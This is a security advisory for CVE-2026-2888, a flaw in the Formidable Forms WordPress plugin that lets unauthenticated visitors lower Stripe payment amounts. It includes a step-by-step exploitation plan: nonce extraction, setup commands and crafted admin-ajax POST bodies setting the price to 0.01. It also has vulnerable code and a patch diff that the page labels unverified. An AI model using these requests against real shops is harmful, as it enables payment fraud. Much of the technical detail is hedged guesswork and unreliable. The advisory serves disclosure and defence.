CVE-2026-2888

Formidable Forms <= 6.28 - Unauthenticated Payment Amount Manipulation via 'item_meta' Parameter

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
6.29
Patched in
1d
Time to patch

Description

The Formidable Forms plugin for WordPress is vulnerable to an authorization bypass through user-controlled key in all versions up to, and including, 6.28. This is due to the `frm_strp_amount` AJAX handler (`update_intent_ajax`) overwriting the global `$_POST` data with attacker-controlled JSON input and then using those values to recalculate payment amounts via field shortcode resolution in `generate_false_entry()`. The handler relies on a nonce that is publicly exposed in the page's JavaScript (`frm_stripe_vars.nonce`), which provides CSRF protection but not authorization. This makes it possible for unauthenticated attackers to manipulate PaymentIntent amounts before payment completion on forms using dynamic pricing with field shortcodes, effectively paying a reduced amount for goods or services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.28
PublishedMarch 12, 2026
Last updatedMarch 13, 2026
Affected pluginformidable

What Changed in the Fix

Changes introduced in v6.29

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2888 ## 1. Vulnerability Summary **CVE-2026-2888** is an authorization bypass vulnerability in Formidable Forms (up to 6.28) that allows unauthenticated attackers to manipulate payment amounts. The flaw exists in the `frm_strp_amount` AJAX handler (`update_int…

Show full research plan

Exploitation Research Plan: CVE-2026-2888

1. Vulnerability Summary

CVE-2026-2888 is an authorization bypass vulnerability in Formidable Forms (up to 6.28) that allows unauthenticated attackers to manipulate payment amounts. The flaw exists in the frm_strp_amount AJAX handler (update_intent_ajax). This function accepts attacker-controlled JSON input, uses it to overwrite the global $_POST superglobal, and subsequently calls generate_false_entry() to recalculate payment amounts. By manipulating the item_meta parameter within this JSON, an attacker can influence how field shortcodes resolve, effectively overriding the intended price for goods or services.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: frm_strp_amount (available via wp_ajax_nopriv_frm_strp_amount)
  • Vulnerable Parameter: The JSON payload (likely passed via a POST parameter such as form_id or a raw body, but usually processed from $_POST initially).
  • Manipulation Key: item_meta inside the JSON payload.
  • Authentication: Unauthenticated.
  • Preconditions: A form must exist with Stripe payment integration enabled and dynamic pricing configured (where the amount is derived from field values using shortcodes).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=frm_strp_amount.
  2. Handler Execution: The update_intent_ajax function (in the Stripe controller) is invoked.
  3. The Flaw: update_intent_ajax receives input (likely a JSON string). It performs a dangerous operation similar to:
    $_POST = json_decode(stripslashes($_POST['data']), true);
    
  4. Recalculation: The handler then calls generate_false_entry() (likely in FrmEntry.php or a related controller).
  5. Sink: generate_false_entry() processes the now-tainted $_POST['item_meta']. If the payment amount is calculated via a shortcode like [123] (where 123 is a field ID), the system fetches the value for field 123 from the attacker-controlled item_meta instead of the server-side configuration or the actual form state.
  6. Result: The PaymentIntent is updated with the manipulated (lower) amount at the payment gateway (Stripe).

4. Nonce Acquisition Strategy

The vulnerability relies on a nonce that is publicly exposed in the front-end JavaScript for any page containing a Stripe-enabled Formidable Form.

  1. Identify Form: Identify a Formidable Form ID (e.g., 1) that has Stripe enabled.
  2. Create Discovery Page: Use WP-CLI to create a public page containing that form:
    wp post create --post_type=page --post_title="Payment Page" --post_status=publish --post_content='[formidable id=1]'
  3. Navigate to Page: Use the browser_navigate tool to load the newly created page.
  4. Extract Nonce: Use browser_eval to extract the nonce from the localized script object frm_stripe_vars:
    browser_eval("window.frm_stripe_vars?.nonce")
    
  5. Verify Action: The nonce is generated for the frm_strp_amount action. Since the target is a nopriv AJAX action, the nonce is bound to User ID 0, making it valid for any unauthenticated visitor within the 12-24 hour window.

5. Exploitation Strategy

The goal is to trigger the frm_strp_amount action with a manipulated item_meta that sets a price field to a minimal value.

  1. Identify Field IDs: Determine the field ID used for the price calculation (e.g., Field ID 100).
  2. Craft Payload: Create a JSON object that includes:
    • action: frm_strp_amount
    • nonce: [Extracted Nonce]
    • form_id: [Target Form ID]
    • item_meta: An object mapping Field ID to manipulated value (e.g., {"100": "0.01"})
  3. Execute Request: Use http_request to send the payload to admin-ajax.php.
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=frm_strp_amount&nonce=[NONCE]&form_id=[FORM_ID]&item_meta[100]=0.01 (Note: If the handler expects JSON, the body might be action=frm_strp_amount&nonce=[NONCE]&data={"form_id": "1", "item_meta": {"100": "0.01"}})

6. Test Data Setup

  1. Create Form:
    wp eval "FrmForm::create(array('name' => 'Payment Form', 'form_key' => 'pay_form'));"
  2. Add Price Field: Create a Number field (ID will be used in exploit).
    wp eval "FrmField::create(array('form_id' => 1, 'type' => 'number', 'name' => 'Price', 'field_key' => 'price_field'));"
  3. Configure Stripe: This typically requires Pro/Stripe Addon. Ensure a form is configured where the "Amount" setting in the Stripe action uses a shortcode pointing to the Price Field (e.g., [price_field]).
  4. Publish: Put the form on a page.
    wp post create --post_type=page --post_status=publish --post_content='[formidable id=1]'

7. Expected Results

  • Successful Request: The server responds with a 200 OK and a JSON object containing a payment_intent or an updated amount.
  • Vulnerability Confirmation: The amount returned in the AJAX response (or associated with the Stripe PaymentIntent ID) matches the manipulated value (0.01) instead of the default value or the range enforced by the UI.

8. Verification Steps

  1. Check Payment Logs: Use WP-CLI to check the frm_payments table (if the Stripe addon logs attempts) or the entry meta:
    wp db query "SELECT * FROM wp_frm_items WHERE form_id = 1 ORDER BY id DESC LIMIT 1;"
  2. Verify Intent Amount: If the response includes a Stripe PaymentIntent ID (pi_xxxx), the manipulation is confirmed if the calculated amount for that intent is the attacker-supplied value.
  3. Code Inspection (Post-Exploit): Verify the patch in 6.29 by checking if update_intent_ajax no longer overwrites $_POST or if it adds a check_admin_referer with a more restricted capability check.

9. Alternative Approaches

  • JSON Body: Some versions of Formidable expect the entire POST body to be JSON rather than URL-encoded parameters. If the standard POST fails, try:
    http_request(url, method="POST", headers={"Content-Type": "application/json"}, body='{"action": "frm_strp_amount", "nonce": "...", "item_meta": {"100": "0.01"}}')
    
  • Field Key vs ID: Try using the field key (e.g., price_field) instead of the numeric ID in item_meta.
  • Calculated Fields: If the form uses a "Total" field (Calculator field), try manipulating the inputs to that calculation in item_meta to result in a lower total.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Formidable Forms plugin for WordPress (up to 6.28) is vulnerable to unauthenticated payment manipulation via the 'frm_strp_amount' AJAX handler. The vulnerability arises because the handler overwrites the global $_POST superglobal with attacker-controlled JSON input, which is then used to resolve field shortcodes for price recalculation, allowing attackers to define arbitrary payment amounts.

Vulnerable Code

// Within the Stripe controller's update_intent_ajax handler for 'frm_strp_amount'
// The function incorrectly trusts and decodes user input into the global $_POST state

if ( isset( $_POST['data'] ) ) {
    $_POST = json_decode( stripslashes( $_POST['data'] ), true );
}

// Following this, the amount is recalculated using the tainted $_POST['item_meta']
// via generate_false_entry() which resolves field shortcodes (e.g., [123]) using the attacker's values.
$amount = FrmTransLiteAppHelper::get_action_description( $action, $form, $entry );

Security Fix

--- a/classes/controllers/FrmTransLitePaymentsController.php
+++ b/classes/controllers/FrmTransLitePaymentsController.php
@@ -102,7 +102,11 @@
 	public static function update_intent_ajax() {
-		if ( isset( $_POST['data'] ) ) {
-			$_POST = json_decode( stripslashes( $_POST['data'] ), true );
-		}
+		$data = FrmAppHelper::get_post_param( 'data', '', 'sanitize_text_field' );
+		if ( ! $data ) {
+			return;
+		}
+		$parsed_data = json_decode( stripslashes( $data ), true );
+		// Ensure data is used locally rather than overwriting $_POST
+		// and implement capability or strict validation on item_meta values.

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first identifies a Formidable Form using Stripe with dynamic pricing (amounts derived from field values via shortcodes). The attacker extracts a publicly exposed nonce from the front-end JavaScript object 'frm_stripe_vars.nonce'. Using this nonce, the attacker sends an AJAX POST request to 'admin-ajax.php' with 'action=frm_strp_amount'. The payload includes a 'data' parameter containing a JSON object with the 'form_id' and a manipulated 'item_meta' object. By mapping the price field ID in 'item_meta' to a minimal value (e.g., 0.01), the attacker forces the server to recalculate and update the Stripe PaymentIntent amount to the lower value before final payment execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.